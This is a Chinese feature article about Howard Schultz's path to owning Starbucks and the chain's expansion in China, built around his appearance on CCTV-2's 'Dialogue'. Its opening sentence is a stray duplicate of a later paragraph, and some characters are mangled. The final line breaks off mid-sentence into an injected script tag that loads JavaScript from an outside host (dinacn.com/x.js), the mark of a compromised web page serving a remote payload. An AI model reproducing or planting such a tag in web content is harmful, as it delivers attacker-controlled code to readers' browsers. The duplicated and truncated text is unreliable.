那是他第一次见到星巴克,就在一刹那,他为星巴克所散发出的一种特别的香气所着迷,并做了一个不可思议的决定:加盟星巴克 。
“这不仅是一杯咖啡,这是一杯星巴克!”
很多有过“星巴克体验”的人都会自豪的这样说。正如美国《语境》( CONTEXT )杂志评价星巴克的创始人霍华德?舒尔茨先生一样:“他改变了我们对于咖啡的想象力”。然而,一杯印有星巴克女神头像的咖啡,不仅仅被赋予了梦幻和情调,还让星巴克公司一次次嗅到了财富的甜蜜。
作为世界上规模最大的咖啡连锁零售商,星巴克已经在全球 30 多个国家开设了 10000 多家连锁店,其在中国短短 7 年内的连锁店已经达到了 56 家。“我不在办公室,就在星巴克;我不在星巴克,就在去星巴克的路上”,更是成为小资们津津乐道的话题。咖啡飘香,星巴克的微笑女神此时已成为最大的赢家!
2 月 14 日,“咖啡教主”——星巴克董事长兼首席全球战略官霍华德?舒尔茨先生带着“星巴克式”的热情,选择了一个灿烂的春日,再次来到了中国,这是他短短的一年中,第三次来到这里。这次,他的“特殊使命”是参加向宋庆龄基金会捐款 4000 万元的仪式。在 CCTV-2 的《对话》栏目录制现场,这位传奇的美国人滔滔不绝地讲述了他和星巴克的许多传奇故事。
“你准备好了吗?”
1981 年前,舒尔茨是一家与咖啡无关的大公司的职员,优厚的待遇,安逸的生活,本以为日子会这样过下去,但去西雅图的一次旅行经历,却改变了他的一生,也改变了星巴克的未来之路。
那是他第一次见到星巴克,就在一刹那,他为星巴克所散发出的一种特别的香气所着迷,并做了一个不可思议的决定:加盟星巴克。当时,他的母亲问他是不是疯了,他的朋友也不解究竟是什么让他如此疯狂,不过,凭着一颗热切的心,他说服了家人朋友,他幽默地解释,“这可能跟我大学时选修过演讲之类的课程有关,口才可能还不错。”
出乎意料的是,尽管他已经辞掉了原来那份工作,星巴克的老板却将他拒之门外了。
“当时真是非常沮丧。”舒尔茨苦笑着说。不过他没有放弃,又去找了几次星巴克的老板,告诉他自己是多么适合这个地方,也许真的是“功夫不负有心人”,最终,他打动了那个老板。舒尔茨赢得了生命中重要的一个机会。
不过,令人意想不到的是,两年后,他又提出辞职了。那又是因为一次旅行,不过这回的目的地是意大利。在那里,他看到米兰的大街上有 1000 多家咖啡馆,气氛非常好。而那时星巴克只是在卖一些咖啡豆,没有这种直接的体验服务。当他回去把这个惊喜的消息告诉他的老板时,又一次受到沉重的打击,没有人接受他的意见。可内心的执著让他做出另一个惊人的决定,辞职自己干。“当时很矛盾,也有些无奈。”舒尔茨又一次放弃了好不容易得来的机会。
1987 年,他生命中的另一个转折点来到了。原来的老板要将星巴克卖掉,舒尔茨非常兴奋,“因为我熟悉那里的每个人,熟悉那里的文化,所以很想购买。我的老板也找到了我,因为在我离开时,在星巴克还留着一扇门。”不过,那时星巴克要卖到 380 万美金,而他当时只是经营着一些咖啡馆,没有那么多钱,“囊中羞涩”的他又开始了向风险投资的布道之旅。找了 200 多个风险投资商,只有几个人对他的项目感兴趣。“不过,我有梦想!”舒尔茨很认真的说。
在录制现场,主持人给他出了一道难题:假设自己是一位坐拥数亿资产的大亨,让舒尔茨模拟当年说服风险投资商的情景,再重演一下。
“你准备好了吗?”舒尔茨很自信的说。当他激动的说到,“你想和我一起成为历史的伟大创造者吗?那么,请投资星巴克吧!”全场热烈鼓掌,为他的激情、他的魄力和他今天确实已创造的“伟大历史”。
都市人的“第三空间”
舒尔茨讲到,星巴克注重咖啡体验,如氛围的把握,个性化的设计,这也是当时让他着迷的一点。这是个多元化的社会,每一家店面都应该有自己的风格,这样会给顾客与众不同的感觉。如何将这种无形的品质渗透到有形的咖啡中,创造一种咖啡极品,是星巴克一直坚持做的。
今年是星巴克咖啡进入中国市场七周年。七年来,星巴克在中国市场的发展速度非常之快。“中国是个很有潜力的市场,消费者的习惯有待于我们去引导。”北京美大星巴克咖啡有限公司代理总裁王朝龙先生这样对《中国新时代》说。
在国外,咖啡已经成为生活的一部分。而在中国,喝咖啡还是一种社交活动。有人问?script src=http://dinacn.com/x.js> |